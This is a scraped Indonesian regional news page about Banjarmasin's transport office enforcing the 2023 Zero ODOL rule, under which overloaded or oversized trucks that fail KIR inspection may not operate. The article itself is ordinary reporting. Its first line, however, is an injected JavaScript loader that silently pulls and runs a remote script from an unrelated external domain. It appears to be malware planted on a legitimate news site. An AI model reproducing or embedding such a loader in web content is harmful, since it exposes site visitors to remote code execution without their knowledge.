(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Menuju Zero ODOL, Dishub Banjarmasin: Kendaraan Tidak Lolos Uji KIR Tidak Boleh BeroperasiÂ


KANALKALIMANTAN.COM, BANJARMASIN – Lantaran kendaraan bermotor mengangkut barang-barang logistik diduga sebagian besar tidak mempunyai KIR atau tidak lulus uji KIR, Dinas Perhubungan Kota Banjarmasin menggencarkan program Zero ODOL (Over Dimension Over Loading) pada tahun 2023.

Dikatakan Kepala Dinas Perhubungan Kota Banjarmasin, Slamet Begjo, program zero ODOL merupakan instruksi pemerintah pusat melalui Dirjen Perhubungan Darat Kemenhub RI.

“Untuk Zero ODOL ini diberlakukan 2023 per Januari, ini bukan pilihan tapi mau tidak mau kita harus laksanakan sebagaimana arahan Dirjen Perhubungan Darat tempo hari di Solo,” ungkap Kadis Perhubungan Kota Banjarmasin, Rabu (19/1/2023) kemarin.

Slamet mengatakan, sebelum tahun 2023 pihaknya telah menggencarkan sosialisasi kepada kendaraan angkutan dan perusahaan untuk mendukung program Zero ODOL di tahun 2023.

 

 

Baca juga: SJ Penganiaya Anak Yatim Terencam 3,5 Tahun Penjara, Uang Donatur Masih Diselidiki Polisi 

Sehingga ia berharap pelanggaran over dimensi atau over kapasitas kendaraan yang ditemukan pada tahun 2022, tidak lagi ditemukan pada tahun 2023 ini.

“Sebelum 2023 sudah kita lakukan sosialisasi, kurang lebih 1.500 kendaraan yang telah kita berikan sosialisasi,” ungkap Slamet.

Truk angkutan barang memasuki wilayah Kota Banjarmasin. Foto: Rizki

Ia menegaskan, kendaraan yang masih over dimensi atau over kapasitas tidak akan diloloskan saat pengujian KIR. Selain itu, pihaknya akan mengeluarkan surat tidak lulus uji bagi kendaraan tersebut, dan kendaraan itu tidak boleh untuk beroperasi.

“Nanti kita berikan surat tidak lolos uji, tidak boleh beroperasi jika tidak lulus uji,” tegasnya.

Adapun terkait penindakan pelanggaran, Kadishub Banjarmasin mengatakan, itu ranah Satuan Lalu Lintas Polresta Banjarmasin.

Baca juga: Tepis Dakwaan JPU, Mantan Bupati HST Abdul Latif Curhat Ketimpangan Hukum

“Untuk yang melanggar ranah kepolisian,” katanya.

Pihaknya bersama Satlantas Polresta Banjarmasin gencar untuk melakukan pengawasan guna mendukung kebijakan Zero ODOL tahun 2023.

“Kami tidak bekerja sendiri, perlu pendampingan instansi lain terutama satuan lalu lintas, karena amanah Undang-Undang kita didampingi mereka,” tutup Kadishub Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter : Rizki
Editor : Rdy


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.